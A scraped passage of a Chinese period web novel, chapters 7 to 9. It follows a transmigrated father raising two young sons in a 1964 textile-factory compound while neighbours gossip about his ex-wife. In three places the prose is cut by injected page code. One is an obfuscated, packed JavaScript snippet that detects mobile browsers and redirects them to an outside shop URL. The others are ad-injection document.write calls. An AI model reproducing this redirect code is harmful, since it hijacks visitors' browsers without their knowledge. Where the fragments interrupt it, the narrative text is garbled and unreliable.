《年代文炮灰前夫成大佬》 7. 第 7 章 第二天早上,天才蒙蒙亮,纺织厂家属院就热闹起来了。 胡同口的公厕排起了长队,院里的水龙头前也聚满了等着接水的人。早晚用水高峰期,大家都是赶早起床,要不然光是排队就得等好长时间。 群体杂居就是这样,起晚就不赶趟,不耐烦等那你就早起。 当然也有人反其道选择晚起,等大家都用完了他再去。此时,七号院北面三间屋就紧关着门,任凭院子里霹雳乓啷,依旧安静如斯。 不是吴跃睡眠质量好,他太累了,这具身体原本就不健康,走几百米就气喘吁吁。昨天他为了逮两个小家伙,光是跑就好几里地。 再加上昨晚他休息也不好,先是大宝喊醒他要嘘嘘,吴跃这才想起来他没把尿盆拿进屋。 纺织厂家属院原本配备厕所就少,后来私搭乱建,很不得能把院子棚的不见天日。院里要是保留厕所,那味道儿可就没法说了,同时也不好清理。 于是就择片建起了公共厕所,一般一个管区共同使用一个,七号院就和对面胡同的六号院共用。距离虽然不远,但是大晚上出去一趟,回来睡意全没了。 要是冬天,没准还会冻僵。 所以家属院几乎家家户户都备有尿盆,尤其家里有娃的,更是必不可少。 吴跃没经验,根本没想到这个。 把大娃抱到院里小解,再回屋,吴跃把尿盆拿进了屋。躺下继续睡,刚要进入深度睡眠,吴小宝就嘟囔着他要拉臭。 吴跃受不了他在屋里解决人生大事,只能任命的起床把他抱出大门,也没去公厕,要不然他今晚就别想睡了。 七号院墙外载着一排树,不太粗,就当给他施肥了。 等吴小宝解决完,吴跃用铁锹埋上,免得谁的鞋遭殃,这才抱着吴小宝回屋。 然后就一直睡到现在。 吴跃是被一脚踹醒的,他睁开眼,就看到白嫩嫩一直小脚丫,无奈给他拨开,又把脑袋抵在自己腰腹的吴大宝挪开,小心翼翼起床。 早上喝米粥,吃鸡蛋。 吴跃洗了把脸,接着就去做饭,还是烧柴锅。 厨房里堆着几捆柴火,码的整整齐齐,当然不是原主的功劳,是他爹他弟送来的。不过林巧素习惯使炉子,柴火便一直堆放在这里,倒是方便了吴跃。 趁着等锅开,吴跃去喊崽子们起床。 实话实说,两个孩子被养的很好,除了吴小宝过于顽皮,当然这是孩子的天性,无可指摘。其他都方面都没话说,俩都不是娇气崽儿,就算没睡饱,被喊醒也不发脾气。 今天也是睁眼,就爬起来了。 “爸爸,你今天还要带我们去上班啊?”吴小宝含糊问道。 “我总不能把你们扔家里,要是被偷走了咋办?”吴跃给他们穿上衣裳,拍拍胳膊让他们自己穿鞋,“到时候回家看不见我大宝小宝,爸爸都不知道找谁哭去。” “呀,爸爸,我们对你这么重要呀。”吴小宝亦步亦趋的跟着吴跃。 “可不是,你们可是我最重要的宝儿。”吴跃把浸湿的毛巾拧干水给俩孩子擦脸。 虽然吴小宝是先到的,但吴跃还是先给大宝收拾。 通过昨天的相处,他发现大宝有点儿洁癖。虽然和吴小宝一个盆洗澡,一个碗吃饭,他都能接受,但说不上喜欢,他也不说,只是在吴小宝闯过去的时候,小眉头会下意识皱起来。 吴小宝则是怎么都好,根本不会注意这些细节。所以当吴跃调整顺序,他也不觉得不对,反而大宝立刻就发现了,惊讶的看着爸爸。 吴跃只是笑笑。 当然,除了大宝的意愿之外,吴跃这样做还有一个原因,那就是要是先把吴小宝收拾好,他能立刻给你表演一个撒手没。 大宝不一样,你和他说明情况,他只要答应一般都会做到。 类似昨天那个心电感应的说法,吴跃后来想了想,大宝可能不是没听懂他的意思,只是因为自己也想去玩,便在他话里找了个漏洞。 这可能吗? 一个四岁的孩子。 吴跃也不知道,只能留给以后去印证。 给俩崽子洗了脸,安排他们坐在方桌前,吴跃便去盛粥。 三碗粥,两个花卷,一个鸡蛋,这是爷仨儿今天的早餐。 鸡蛋被吴跃竖着切成两半,俩宝一人一半,花卷是昨天买肉包的时候顺手买的,热一热,暄乎的很。 “哇,白馍馍!”吴小宝十分惊喜。 1964年,困难时期才过去两年,很多地方都处在恢复期,所以就算是工人,也不能顿顿白面条、白面馍馍,都是夹着杂面、红薯干、高粱面吃。 对于很多经历过困苦的人来说,能够吃饱饭就已经是一种幸福。 “吃吧,吃吧,”吴跃把花卷也各分一半,再不吃中午就吃不上了。准确的来说,在他下次发工资之前,也就是十天后,他们爷儿仨都得苦着来了。 家里没有手表,吴跃只能大概估摸时间。 虽说时代变迁,人事物都会变样,但是太阳不会。 计划经济下,国营企业职工一般是八个小时工时,上午下午各四个点,八点上班,是六点半下班。只有在纺织厂接了大单或者上级纺织厂有要求,需要赶生产,全体职工才会加班加点。 吴跃以前听经过这个时代的老人说,说是八点上班,其实大部分人都是早早就到厂,为了多干点活,甚至爬墙进厂。 她笑称那时候的人都有点儿傻,吴跃当时只觉得对方说的夸张,但是现在他亲眼看到了。 门卫比其他工人早上班半小时,也就是说七点半他得到值班室,吴跃估摸着时间出门的时候,院里已经安静下来了。 整个七号院,只有一家双职工,住在东屋,不过他们的压力也不小,上头三位老人,下头四个孩子,乡下没人帮衬,城里更不用说。 所以虽然是双职工,日子仍然过得紧巴巴,在整个七号院都没甚存在感。 吴跃领着俩崽出门的时候,正看到他家大闺女在自来水管旁边洗衣裳,那两大盆看吴跃都心惊。 到达纺织厂,大门外已经站了许多人。 徐志高也已经到了,正站在值班室门口和大家说话,看到吴跃过来,交谈戛然而止。 吴跃原本也没有多想,这下子倒让他狐疑了,他们刚刚莫不是在说他? 不过吴跃不想深究,原主这段时间以来一直是八卦的中心。不管走到哪儿都有人指着他窃窃私语,他无力改变现状,只能说服自己习惯就好。 走进值班室一看钟表,七点二十。 呃,大家这也太积极了吧。 吴跃沉默,他拿出从家里带来的纸笔,准备教两个孩子写字。 “呦,这么小就开始学认字儿了?” 吴跃抬头,认出说话的是六号院儿的老李,都说一个被窝睡不出两种人,和他媳妇一样,这是个大嘴巴。 首先这说话音量就远超他人,这不还没等吴跃回答,就有爱凑热闹的凑到值班室看。 纺织厂女工多,这一抬头都是娘子军。 “这个字念大,是不吴老四?”还有人自来熟,指着吴跃写下来的“大”字问道。 “是。” “那后边儿这个字儿念啥?长得跟咱纺织厂有点儿像。” “这个字念红,红军的红。” “那东方红太阳升,也是这个红不?” “可不就是。”吴跃写下纺织,在把纸倒过去,“这两个字就是纺织。” “长得还真有点儿像。” “不只是长得像,意思也相近,红的另外一个读音是gong,在旧时代女红这个词,指的就是妇女所做的缝纫、刺绣、纺织一类的劳动或者由此产生的产品。现在,咱们纺织厂不就是干这些活儿的?”吴跃笑着说道。 “我滴个乖乖,真不愧是上高中的高材生,懂得可真多呀!”妇女感叹道。 □□年,即使是县城的正式职工,文盲率也在一个很高的数值,别说是高中毕业,初中毕业生都难得以见。 吴跃只是笑笑,原主的高中毕业文凭全是混出来的,全赖他大哥和学校校长是过命交情。至于他也没正经进过大学校门,总之都当不得高材生的说法就是了。 七点半,纺织厂开大门。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13560666|142697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 徐志高和吴跃跟值夜班的两个兄弟交接工作。 纺织厂没有夜班,不过保安科有夜班执勤,这是为了保证纺织厂财产安全,一般都是退伍老兵当值,他们经验老到身手好,又是受人尊敬的人民子弟兵。 一上午相安无事,中午吴跃和徐志高轮流去食堂吃饭,吴跃值中班。 饭后,吴跃回了趟家,按说这个点儿家属院都有人,让俩宝在家里午觉没啥,但吴跃着实不放心吴小宝,这孩子忒鬼调。 他索性拿上一床薄被,准备让俩孩子搁值班室睡午觉。 两张椅子靠墙,铺上薄被,一人睡一头,吴跃在旁边当着,免得他们摔地上。 中午,一般都没有事儿。 渐渐地吴跃就有些百无聊赖,话说这份工作还真是闲到发慌。 外面“哎呦”的一声,把吴跃吓了一跳,两个孩子也揉着眼坐了起来。 吴跃推开值班室门看情况,却是徐志高端的一盆水掉在了地上。 “徐哥,没事儿吧?” “没事儿,没事儿,”徐志高拾起铁盆走进值班室,“哎呀,是我吵醒了俩孩子吧。” “午觉少睡会儿不打紧,等晚上补回来就行了。”吴跃笑着说。 “吴兄弟,我有个事儿跟你商量,你看你跟着俩孩子也不方便,要不以后中午都我值班儿?咱们中午换个班儿,吃完饭你就回家。” “这怎么能行?徐哥你不是吃亏了吗?”吴跃觉得徐志高忒老好人了点,还是说这个年代大家奉献意识都这么强? “咱们是邻居又是同事,那是革命情谊,你现在有困难,我不过是伸把手,哪里叫吃亏?”徐志高说的真诚。 吴跃还想再说什么。 “爸爸,我要嘘嘘,”吴小宝朝吴跃趴过来。 吴大宝也跟着。 吴跃怕孩子踩空,连忙上前,接着就被俩孩子抱个满怀。 徐志高又说,“吴老弟,你先照顾俩孩子去吧,我就在这儿。” 吴跃无法,只能道谢:“徐哥,那就谢谢了。” 吴跃带两个孩子去上厕所,吴小宝没睡醒,解决人生大事的时候不小心洒在了身上。 当爹的只能又带他回家换裤子。 再回纺织厂,迎面碰见了一个女人,她穿着明显肥宽的衣裳,缝合不大好,鼓鼓囊囊的,显得十分臃肿。 吴跃认出对方是徐志高的妻子白连,笑着叫了声“嫂子”。 对方看上去十分惊慌,吴跃便放弃了继续和她搭话的事,原本他还想对对方说声感谢呢。 下午,吴跃继续看着俩孩子写字。 吴小宝试图反抗,被吴跃暴力镇压,最后只能含泪跟他哥一块继续写字,如果鬼画符也叫字的话。 快下班的时间点,邮局送来两封信,指定要送到厂委办公室,当时徐志高不在,吴跃只能自己去送。 恰巧半路碰到徐志高,吴跃便把信交给了他。 回来俩孩子又不见了,不过这次吴跃倒没多担心。 因为他站在厂门口,看到了两个还没有跑到大榕树下的小身影。 行吧,玩吧,今天大多数时候都被拘在值班室出去透透气挺好。 纺织厂下班,老榕树下都是人,他们在那里玩儿也不会有啥危险。不过等吴跃下班,看到两个跟泥猴一样的孩子,心里是崩溃的,真想把他们扔掉啊。 这下子只能去澡堂洗澡了,折腾来折腾去又是大半个小时。 晚上,吴跃躺在床上,只感觉自己身心俱疲。 养孩子这个事儿高兴也是高兴的,但累是真累啊。 他偏头看向俩孩子,睡着的时候真像小天使。 经过这两天,吴跃深刻的意识到自己要上班加带孩子好像不可能。 当然也不能把孩子送回老家,爹娘不止他一个儿子,亲兄弟倒还好说,嫂子们肯定有意见,时间长了定会闹矛盾。 至于吴二伯二伯娘,吴跃根本不做考虑过这里边儿原因更复杂,总之就是不能。 至于请保姆,他老几啊?过这么奢侈。 突然,吴跃想到一个人,一个女人。 8. 第 8 章 那个女人,准确的说,是原主的二婚妻子。 书中,原主和林巧素离婚没多久,就有一个叫郭丽秀的女人赖进了他家。 她很能干,把原主的日常生活打理的仅仅有条,还有一手好厨艺,煎烤烹炸样样精通,家务活自是也不在话下。 原主不喜欢她,最后却屈服在享受中。 作为读者,吴跃觉得作者安排这样一个角色,有两方面原因。 首先强调女主前夫不是东西,坐实他的乱搞问题。 郭丽秀不是别个,正是来自七里河大队。当然不是原主借住那家闺女,吴跃记得那家根本不姓郭。 后来原主因为某些原因和郭丽秀扯了证,他清楚的知道自己在这段关系里处于上位,更是丝毫不知收敛,到处拈花惹草。后来为了追去刺激,他和寡妇粘在一块,一门心思给人家养孩子,为此还把郭丽秀撵走了。 其次则是替女主,也就是林巧素找补。 原主是啥人,指望他照顾孩子,做梦呢?所以两个孩子后来被送回来后,长期都是由这个名义上的后娘照顾。后来随着原主越来越荒唐,甚至两个孩子的生活费都是郭丽秀挣的。 看吧,就算是母亲没法参与他们的成长,他们也得到了很好的照顾。 郭丽秀被赶出吴家之后,生活水平一直都很不好。 八十年代,大宝小宝成年并且有了基本的生存能力,他们便打算把郭丽秀接到身边照顾。 因为这事他们兄弟还和同母异父的弟弟妹妹们发生了矛盾,对方觉得他们明明有自己的亲娘,却要喊一个在成长过程中只发挥了保姆作用的人“妈妈”,这对他们母亲不公平。 他们说这些话的时候,林巧素就站在门外,禁不住泪流满面。 事后,林巧素深刻反省了自己作为母亲的不合格,还给郭丽秀送了一笔钱。 不过郭丽秀没福气,既没有用到这些钱,也没有能住进大宝小宝刚买的新房,就因为长期积劳成疾,胃癌离世。 大宝小宝披麻戴孝送走了她。 能为后娘做到这份儿上,可见那些年郭丽秀是真的有把两个孩子当成自己的亲生儿子悉心照顾的。 小说对郭丽秀的着墨不多,吴跃能记起来的大抵也只有她原生家庭条件不好,家里姐弟六个,这一听就是典型的重男轻女家庭,生了五个闺女才盼来儿子,父母当然是极尽所能溺爱。 郭家儿子就像是水蛭,自出生就趴在姐姐们身上吸血,最可怕的是她们自己还都没有发觉不对。 郭丽秀最初只是想挣脱这种窒息的生存环境,她太急切了,从来没想过转身可能是另一片泥沼。 跟原主死磕半辈子,浪费的又何止时间。 吴跃越想越觉得自己可以把人留下,要是两人各方面都合适,他并不排斥搭伙过日子。 这个年代,十对夫妻九个盲婚哑嫁。他这还算是了解对方的,并且甚至就连对方自己都不确定的未来的事情他都知道,既然如此,为何不能是对方呢? 尝过各种生活的难,吴跃细胞中早已没有丁点浪漫基因。 不管什么时候,他在决定事情之时,首要考虑的都是实用价值。 郭丽秀的底色纯粹质朴勤劳善良,她想挣脱原生家庭,为此放弃姑娘家的矜持赖进男人家,可见对方也是个有野心的,否则她怎么就选上了原主? 原主不是个东西,但是你不得不承认在这个年代,他的条件属实不差,可以说是时代天花板了。 时年二十三岁,县城户口,正式职工,有房,只这几样,整个纺织厂家属院都凑不出几个来。 有心机不怕,对于吴跃来说,她能照顾好俩宝才是重点。其实相对于他这个外来者,郭丽秀和两个孩子牵绊还更深些。 吴跃越想越盼着对方早些过来。 他并不是想推卸责任,只是他在照顾孩子方面明显感觉到了力不从心。做饭,他只会煮粥,总不能让俩孩子整天喝粥吧? 果然想要孩子和会照顾孩子完全两码事。 不过从男女主的事情,吴跃也知道有些事情不能太依赖小说,不过拿来做个参考还是比自己啥也不知道,盲目猜测要强得多。 吴跃想着想着便睡了过去,第二天一早自然醒来,他有些感慨,穿越其实还是有好处的,没有手机没有城市喧闹,他睡眠质量直线上升。 那些因为生存压力而产生的焦虑、急躁也全都消失了,每天醒来精神都不错。 小心绕过俩孩子,吴跃下床走出卧室,他先去厨屋点火烧水,顺手淘把米扔在锅里。 然后就站在门口刷牙。 东屋的大闺女又在洗东西,这次好像是床单被罩,现在床单被罩多是用棉布,沾水死沉死沉的,吴跃怀疑她的小身板能拉的起来吗? 吴跃记得胡家两位老人年纪也不算大,怎么总叫一个小姑娘洗? 正想着,胡老太从东屋走出来,瘦削,满脸全是岁月留下的皱纹,她看到大孙女,当即皱起眉头,“你怎么又在院里洗?回头人家又该找你爹娘的不是了。”她快步走过去,弯腰帮着抬盆,看样子是想去外面老井旁。 院里水龙头的水费一般由所有住户平摊,东屋要是一直在院里洗衣裳,大家难免有意见。 不过洗衣盆挺重的,小姑娘力气不够,没走几步就抬不动了。水盆滑手直接掉在地上,她似乎吓了一跳,下意识伸出脚去垫着。 “砰”的一声,吴跃听着都替她感到肉疼。 “你干什么吃的?全家就这一个盆,摔坏了以后怎么用。”胡老太第一时间看盆,确定没事,点着大孙女的脑袋教训。 “我,我不是故意的。”女孩忍住痛,低声认错。 吴跃看不过去,主动帮祖孙俩把盆端到了老井旁边,再回来崽子们已经醒了。 裤子刚穿了一条腿,就闻见厨房里传出糊味儿。 吴跃顾不得这么其他,扔下孩子赶紧去抢救他们爷仨儿今天的早饭。 只可惜时间不能倒流,煮糊了就是糊了,连补救措施也只有舀碗的时候,尽量不沾底锅底。 “爸爸,今天的米粥有点儿不好喝。”吴小宝诚实的说道,他还不知道该怎么形容糊味,只能说不好喝。 “我也觉得不好喝,”吴大宝诚实评价,看弟弟动来动去,不好好喝碗里的粥,他又说:“但是你要不喝就只能饿着,爸爸他不会给我们再做一顿。” 吴小宝偷眼看向吴跃,似乎是想问他哥说的对不对? “我们家不兴浪费粮食。”再苦也得给他吃下去,糊味粥照样能挡饱。 “那你还不给我们吃鸡蛋,”吴小宝不甘心,满桌看了看,只有三碗粥。 “昨天你们吃的是最后一个,没了。”吴跃实话实说。 “你骗人,爷爷奶奶说他们送来的鸡蛋足够我们吃到下个月。”关于吃的,吴小宝记忆力好很多。 嗯? 吴跃狐疑,两老当然不会对孩子说谎,记忆中原主也没有吃过鸡蛋,那剩下的鸡蛋去哪儿了? 这家里怎么跟遭了小偷似的,先是被别了门锁,现在鸡蛋又找不见了。 “笨蛋弟弟,你忘了咱家鸡蛋都让妈妈拿咱姥娘家去了,”吴大宝突然说道。 “啊!”吴小宝也想起这事儿来了,他认真的看一下吴跃,“爸爸,衣裳不要了,鸡蛋咱们得要回来啊。” “哼,妈妈说住到姥娘家,天天也能吃鸡蛋,但是我都没吃过。”吴小宝喝着发苦的白粥,越想越觉得自己可怜,眼泪“扑哒,扑哒”就落下来了。 吴跃:“……”这眼泪也忒好控制,说掉就掉。 他淡定的敲敲饭碗,“那是你妈主动拿过去的,要是你们昨天提出来,我还能跟你们姥娘提提,现在可赶不趟了。” 吴跃并不想和林巧素家有牵扯,不知道什么时候就得罪女主了,这对他只有坏处没有好处。 至于这些零碎东西,就当是林巧素从原主那里拿走的补偿费。反正在那个时间段家里的东西还是属于原主和林巧素他们夫妻俩的,都有支配权。 “啊,”吴小宝像是天塌了一样。 吃过早饭,吴跃专门找了两根粗绳,拴住他们的胳膊,挂在自己手腕上,物理保证不让他们离自己超出三米去。 “爸爸, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 我们是小狗吗?”吴大宝只见过狗要被这么栓起来。 “当然不是,这是对你们之前两天不听爸爸话,在我没有允许的情况下,说不见就不见的惩罚。”吴跃解释,然后又说:“今天一整天,你们要是能老实待在值班室写字,下午下班后我带你们去供销社,如何?” “好啊,好啊!”吴小宝非常兴奋。 “爸爸,你有钱吗?”吴大宝担心的问道。 吴小宝“倏的”看向他爸。 “不多,”吴跃笑着说,“要是你们什么都要那我买不起,但你们一人可以挑一样自己想吃的,我们只买一点儿尝尝味道。” “好耶,好耶!” 吴大宝也笑的眯起了眼睛。 果然,逛小卖部对孩子的吸引力是其他东西无法比拟的,现在没有小卖部,供销社也是一样。 有这个目标在前面吊着,俩孩子今天学习动力异常足,就算下午吴跃松开了防丢绳,他们也没有试图往外跑。 看他们两个认真练字,吴跃请徐志高帮忙照看一会儿,自己去参观厂内托儿所。 纺织厂那么多人,总有年轻夫妻双职工,顾不上看孩子,又没有老人帮衬,就只能把孩子送到托儿所来。 这也是纺织厂的职工福利。 托儿所建在东边,距离生产车间不算近,厂委办公室,工会都在那边,安全上是很有保障的。 吴跃对托儿所的要求不高,干净,卫生,老师有素质。 然而等他真正站在托儿所门口,只听见里面传出来的“呜哇呜哇”哭声,持续了很长时间。 吴跃站在窗户外往里看,老师们都很年轻,哄孩子经验不足,她扯着嗓子嚎了几嗓子,没有人理她,教室里直接上演兵荒马乱。 他又去隔壁教室,这里的情况比刚才那个还不好,连个维持秩序的人都没有,小孩儿们就在屋里造腾,他还看他玩屎玩尿的。 吴跃:“……” 先别说他俩崽子适不适应,反正他这个当爹的是极度不适应。 心里默默给托儿所这个选项打了个叉,吴跃走回了值班室。 “怎么样?吴兄弟,还不错吧?现在厂里福利好了,还专门请了老师帮忙看孩子,我听说老师们最低学历都初中毕业呢。” 吴跃倒觉得,与其找年轻姑娘还不如找有哄孩子经验、干活麻利的妇女,那样的话,孩子们起码没有那么埋汰。 “我再坚持两天,实在不成,再送去。”吴跃没有一口把话说死。 此时,林巧素匆匆忙忙赶到了家属院,老榕树下妇女们瞧见都热切的跟她打招呼。 “巧素,回来了?” “老婶,我回来看看孩子。”林巧素只能停下脚步。 “是该看看,”老婶点点头,“我搭眼瞧着吴老四把孩子顾的不错,巧素啊,男人要是认错,咱们也不要死揪着不放,有些事情你也别都听你娘的,生过孩子的妇女再嫁,过得不如意的不在少数。” 这都是老婶的肺腑之言,当然,她也是看吴跃这两天的表现,才跟着说服几句,搁在过去的吴老四,她才不张这个嘴。 林巧素根本没听到心里去,丢下一句“我还有事先走了”就进了七号院。 等她走后,老榕树下都问老婶,咋想着给吴老四说情了? “谁是为了他,我是看俩孩子可怜,”老婶想都不想回道。 “那我看你劝了也白劝,没听赵春花那意思她闺女现在有头,”老李媳妇嘲笑道,“她那个人啥样咱还不知道,就是个不见兔子不撒鹰的,我就不信她撺掇着闺女离婚,没看好后家。” “巧素和他娘不一样,她不是那样的人,要不是吴老四实在混账,当娘的哪里舍得俩孩子?”老婶笃定道。 她的话得到了包括刘招娣在内的多人附和,吴家俩小子壮壮实实,招人疼,他们看了都喜欢,更别说亲娘。 那些说林巧素外面有人啥的,家属院几乎没人相信,一时间,就是老李媳妇都没说话。 “……可是,前天她回家属院和吴四哥谈离婚,身边就跟着一个男的。” 突然,有人说道。 9. 第 9 章 大榕树下的人循声看去—— 说话的是一个方脸姑娘,大概十四五岁,老李媳妇乍一眼没认出来这是哪个,还是刘招娣眼尖:“你是胡家的,大妮儿?” 七号院胡家两口子作为大院少有的双职工家庭,日子按说应该很不错,但事实好像相反,一家人骨子里都透着俭朴。 要说是因为家里人口多,县城里也不乏双职工养活全家上下三代好几口子的家庭,对比起来,好像都没过成胡家这样。 当然具体如何外人无从得知,胡家人喜好关起门过日子,和大院里谁家都说不上亲近。 胡大妮就是胡家大闺女,帮忙家里洗衣服做饭啥的,家属院里经常能看到她。不过这闺女不好说话,整天低着头,门头往前走,这突然出声,还真是让人发蒙。 “胡家不就住在七号院的东屋?”老李媳妇反应过来了。 刘招娣点点头。 老李媳妇了然,要说大院里谁家有个风吹草动她能不知道,大概也就胡家了。 这家人忒不爱热闹,先前吴老四家三天两头出事,家属院离老远都跑来瞧热闹,但胡家别说出来看就连门窗都关的严严实实。 大家显然都知道胡家什么样,胡大妮的证词在此刻听起来是那么可信。 妇女们彼此看看,眼神中闪烁着一样的光芒,就连白连都抬起头来。 老婶轻咳几声:“大妮儿,你刚刚说看到吴家嫂子和男人一块来的,这话可不能乱说。” “我没有乱说,当时吴家嫂子先提离婚,还说两个孩子都归她,吴四哥不同意,说孩子留下他就同意离婚。两人没谈拢差点吵起来,那男人就说回去再想想办法,然后就一块离开了。”胡大妮叙述的详细。 这事她原本没打算和任何人说,多一事不如少一事,家里一直就是这么教导她们的。 而且,吴老四也不是啥好人,搬到七号院才几个月就搞出不少事,院里隔三差五就聚集一堆人,爷奶爹娘都快烦死了。 他们两口子离婚,对于很多人,尤其是七号院的住户,是再好不过的消息。 但是不知什么时候起,吴跃变了。 今早吴跃还主动帮她和奶奶抬盆,尽管奶奶没有给人好脸色,还防贼似的一直盯着对方,人都没计较。 甚至,离开的时候还提醒她注意脚,要是肿了就用井水敷一下。 胡大妮没想到对方竟然看到了,脚背原本还没什么感觉,在这一刻她却感觉到了刺痛。 胡老太帮着把盆送到老井旁边就回去了,胡大妮把一盆床单被罩洗出来,晾晒到绳上,已经是下午。 到这时候,她才终于有自己的时间,打一盆井水,在老榕树下挑了个板凳坐下,胡大妮准备开始敷脚。 不知不觉,她的脚背已经肿得老高,发热发烫,放入冰凉的井水里感觉很舒服。 接着,就听到这些大娘婶子谈论这些事,她没忍住就出声了。 话说到这里,大家其实都有点相信胡大妮了,且不说她根本没有理由编瞎话骗人,就说她能把当时情况叙述的这么细致,大概率就是亲眼看到了。 几个妇女面面相觑,难道真是林巧素倒打一耙? “这还真没准儿,歹竹难出好笋,赵春花那样的能教出什么好闺女?” 老李媳妇插空就贬低赵春花,“你瞅瞅前天孩子从姥娘家回来身上那是穿的啥?补丁摞补丁不说,还脏兮兮的,就这巧素还想领孩子走给娘家养,真是没成算。” 之前都说吴老四懒,没带过孩子,但是经过这两天,她怎么觉得吴跃还挺有经验的,不仅把带孩子收拾的干净立整,而且该夸夸该教育教育,分得清楚着呢。 “昨天我也瞅见他搁七号院门口教育孩子,挺有耐心的,看上去确实不像是没经验的样子。”刘招娣也说。 人就是这样,随着自己感知变化,对同一件事的评价可能会走向两个截然不同的方向。 “说起这个,我还想起来一件事,人家吴跃现在都开始教孩子认字啦。听说教的可好,还有人在值班室窗口跟学呢,我们家老李也跟着学了仨字。” “我记得吴满江以前说过他侄子是高中生?说的是吴跃吧?” “昂,可不是,人家懂得老多了。”老李媳妇捡起一根树枝,在地上写了个“红”字。 “这个字念红,偏旁和纺织厂的“纺织”二字相同。据说以前女人做的纺线刺绣缝补剪裁做衣裳这些活儿,就叫做女红(hong)。咱们纺织厂现在干的也是这些活,意思相近所以三个字才用相同的部首。” 老李媳妇把她男人教孩子,她在旁边跟学的小知识和老姐妹们分享。 “不是吧,我怎么听说这个字在这要念‘gong’,吴老四不是说这个字是多,多音字来着。”刘招娣横了个白眼,直接拆台。 “是,是吗?”老李媳妇把棍一丢,“这个老李,自己还没学明白,就敢来教儿子,看我回家怎么收拾他?”谁对谁错回家另论,但是无论如何都不能在老姐妹跟前丢面子。 “你就能吧,哪次找事不被你家老爷们整个按床上?”老婶说的直白。 “你个老蹄子,咋啥话都往外说?”老李媳妇上手捏她。 “哎呀,按说他们都已经离婚了,林巧素再进去吴家是不是不好?我记着赵春花那天已经把林巧素的包袱扛走了?”刘招娣突然说道。 大家一想,可不是,林巧素现在不是纺织厂职工家属,再随意进出七号院可不符合规定。 闻言,老李媳妇赶紧站起来,“那还愣着干什么?咱们赶紧过去看看。” 她们也不是听胡大妮几句话,就要为吴跃咋样咋样,纯属热心肠。 说白了,就是爱凑热闹。 ———— 这边,林巧素到家见锁着门,脸色很不好看。 她取出自己放在门框上的钥匙打开锁,正要推门进去,就听见有人打招呼“哎呦,巧素回来了?” 林巧素偏头,看到说话的是西屋杨继和的媳妇儿。 “哎呀,真是你啊?”继和媳妇探究的看着林巧素,不是都离婚了,咋又回来了? 之前闹得这么难看,以吴老四的脾气,要想和解恐怕不容易啊。继和媳妇隐隐希望他们还是各过各的好,林巧素离开后,这院里多安静啊。 “嗯,”林巧素扯了扯嘴角,推门进了屋。 随后便面露惊讶,这是她家?什么时候收拾这么干净了? 西屋,继和媳妇一进屋,迫不及待和男人说这件事。 杨继和一听就坐起来了,站起来就往外走。 “你干啥去?”继和媳妇一把拉住人,她狐疑的看着杨继和,“你不会对林巧素有啥想法吧?” “说啥呢!你这话要是让别人听见,我就得因为作风问题卷铺盖回老家去了。”杨继和气得满脸通红。 “那你说你去干啥的?你不说我咋能知道?”继和媳妇软下语气。 “林巧素现在不是咱院里人了,吴跃现在又不在家,咋还能让她随意出入?我去看着点,要是家里少点啥吴老四怪在咱身上,咋整?”杨继和解释。 “不能这么不讲道理吧,林巧素回来这么多人都看到了。”继和媳妇皱眉。 “他什么时候讲过道理?”杨继和冷哼一声看,继续往前走。 再次被媳妇拉住,“不用你去,我去看看。” 继和媳妇来到堂屋,没有敲门直接推开门,把正要去卧室的林巧素吓了一跳,看对方直接闯进门她有些不高兴。 “巧素啊,你看咱们也好久不见面了,我陪你说说话。”继和媳妇编了个理由。 她们以前也没多少话说吧,林巧素犹豫:“嫂子,你这是……” “那个,你看你们都离婚了,像这样开门进屋就不合适了,这要是家里有点啥变动,吴老四算在我们这些邻居身上,怎么办?” 继和媳妇表情讪讪,“上回我们家你大哥就和吴老四打过架,胳膊疼了好几天,我实在是不放心……” 继和媳妇的意思林巧素听懂了,就是因为听懂了,心里更恼怒。 “那你坐吧,我也坐在这哪里都不去了。” 杨继和媳妇不好意思笑笑,屁股却很实诚坐下了。 她们有一搭没一搭说着话,气氛有些沉闷,正在这时候院子里传来喧闹声。 很快一群妇女直接推门进屋,先夸屋子:“吴家这屋子真亮堂,空间也大。” 林巧素皱眉看着他们在屋里乱逛,有些头疼。 这时候,老李媳妇突然问道:“巧素,前天陪你来家属院和老四谈离婚的那个男人是谁啊?” 林巧素脸色一白,她当时也是昏了头,才会听她娘的话让李新军跟来家属院。 回到家她立刻就后悔了,只能祈祷他们当时没被人看见。后来她娘来劝离婚,吴跃也没提这事,林巧素着实狠狠松了口气,没想到竟然还有别人瞧见。 “李婶子你说的谁,哪里有男人?” “哎呦,你忘了?那谁当时不是还劝你回去想办法把两个孩子放身边养的嘛?”老李媳妇丝毫不怵,依旧笑呵呵。 林巧素笑的就有些勉强,不过她还是没承认,“我听不懂你在说什么。” 老李媳妇和其他妇女对视一眼,心下了然,看来这里面确实有猫腻啊。 家里的事情,吴跃现在完全不知道。 今天他准点下班,直接去了供销社。 俩崽信守承诺,今天没有乱跑,好好写字,他当然也不能食言。 因此 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,也错过了早知道家里情况的机会。 走进供销社,吴跃让俩孩子自己去挑自己喜欢吃的,一人只能选一样。他则去买牙膏牙刷,还有纸和铅笔,给俩崽写字用。 最后,吴大宝选中鸡蛋糕,吴小宝挑中硬糖块。 吴跃便让服务员给拿了两块鸡蛋糕,两块硬糖,和他选好的那些一块结账。 从供销社出来,父子仨又往前走了一段,在路口碰见有人卖鸡蛋。 吴跃直接给人包圆了,他们父子仨现在都需要营养,鸡蛋是最便宜并且效果还不错的营养品,最好还是每天吃一个。 往回走的时候,路过国营饭店,今天这里好像在招待客人,里面还拉起了横幅。 吴跃下意识瞅了一眼,还没看清楚上面的字,就被上次的女服务员瞪了一眼。 他现在已经知道对方是谁了,六号院刘三斤的媳妇王美珍。 刘三斤,呵! 